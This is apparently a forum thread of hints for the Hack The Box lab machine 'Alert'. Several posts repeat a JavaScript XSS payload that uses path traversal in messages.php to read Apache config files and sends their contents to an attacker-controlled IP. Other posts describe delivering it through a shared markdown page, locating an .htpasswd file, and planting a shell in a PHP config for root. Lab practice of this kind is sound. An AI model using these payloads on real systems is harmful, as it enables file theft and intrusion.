[SkyFALL]

Anyone can explain user flag?

[eliud1013]

anyone any idea where that htpasswd file is hiding?

You can find the path in the 000-default.conf file
/var/www/statistics.alert.htb/.htpasswd

[themystic]

Hidden Content

You must register or login to view this content.

Root is easy to do...

you welcome

[SkyFALL]

I'm stuck in .md files what I need to do

[maggi]

I'm stuck in .md files what I need to do

Get the sites.....which should lead you to finding a user

fetch("http://alert.htb/messages.php?file=../../../../../../../etc/apache2/sites-enabled/000-default.conf")
  .then(response => response.text()) // Convert the response to text
  .then(data => {
    fetch("http://10.10.xx.xx/?data=" + encodeURIComponent(data)); // Exfiltrate data
  })
  .catch(error => console.error("Error fetching the messages:", error));
</script>

[xianling88]

I'm stuck in .md files what I need to do

Get the sites.....which should lead you to finding a user

fetch("http://alert.htb/messages.php?file=../../../../../../../etc/apache2/sites-enabled/000-default.conf")
  .then(response => response.text()) // Convert the response to text
  .then(data => {
    fetch("http://10.10.xx.xx/?data=" + encodeURIComponent(data)); // Exfiltrate data
  })
  .catch(error => console.error("Error fetching the messages:", error));
</script>

Hey man, this is great and awesome, but I mean what is the proper thinking or operation steps to get here, like how we gonna know messages.php can do traversal and why to locate that sites-enabled/000-default.conf file etc.

---

create a md page that reads alert.htb then sends it to your localhost upload it and then click share in the bottom right. then in the contact page send them <img src="shared md page" /> you should get response of the homepage which you can see a messages page and can access that via the same method

<script>
  fetch("http://alert.htb/index.php?page=messages")
    .then(response => response.text()) // Convert the response to text
    .then(data => {     
      fetch("http://<your host>/?data=" + encodeURIComponent(data));
    })
    .catch(error => console.error("Error fetching the messages:", error));
</script>

Cool man, this is definetly some cool shit, link the pieces for me together, thanks!

[maggi]

I'm stuck in .md files what I need to do

Get the sites.....which should lead you to finding a user

fetch("http://alert.htb/messages.php?file=../../../../../../../etc/apache2/sites-enabled/000-default.conf")
  .then(response => response.text()) // Convert the response to text
  .then(data => {
    fetch("http://10.10.xx.xx/?data=" + encodeURIComponent(data)); // Exfiltrate data
  })
  .catch(error => console.error("Error fetching the messages:", error));
</script>

Hey man, this is great and awesome, but I mean what is the proper thinking or operation steps to get here, like how we gonna know messages.php can do traversal and why to locate that sites-enabled/000-default.conf file etc.

Look back in the thread the messages.php is explained

If you can see the sites enabled, you can figure out where a file with a password might be hiding based on that file, and alter the above to get at those contents......
(which again I believe is already hinted at )

[a44857437]

anyone any idea where that htpasswd file is hiding?

You can find the path in the 000-default.conf file
/var/www/statistics.alert.htb/.htpasswd

thanks!

Found it

[Unbutton8074]

add your shell to /opt/website-monitor/config/configuration.php to get root

[test030]

I'm stuck in .md files what I need to do

Get the sites.....which should lead you to finding a user

fetch("http://alert.htb/messages.php?file=../../../../../../../etc/apache2/sites-enabled/000-default.conf")
  .then(response => response.text()) // Convert the response to text
  .then(data => {
    fetch("http://10.10.xx.xx/?data=" + encodeURIComponent(data)); // Exfiltrate data
  })
  .catch(error => console.error("Error fetching the messages:", error));
</script>

The payload doesnt work for me

---

I'm stuck in .md files what I need to do

Get the sites.....which should lead you to finding a user

fetch("http://alert.htb/messages.php?file=../../../../../../../etc/apache2/sites-enabled/000-default.conf")
  .then(response => response.text()) // Convert the response to text
  .then(data => {
    fetch("http://10.10.xx.xx/?data=" + encodeURIComponent(data)); // Exfiltrate data
  })
  .catch(error => console.error("Error fetching the messages:", error));
</script>

This payload doesnt work for me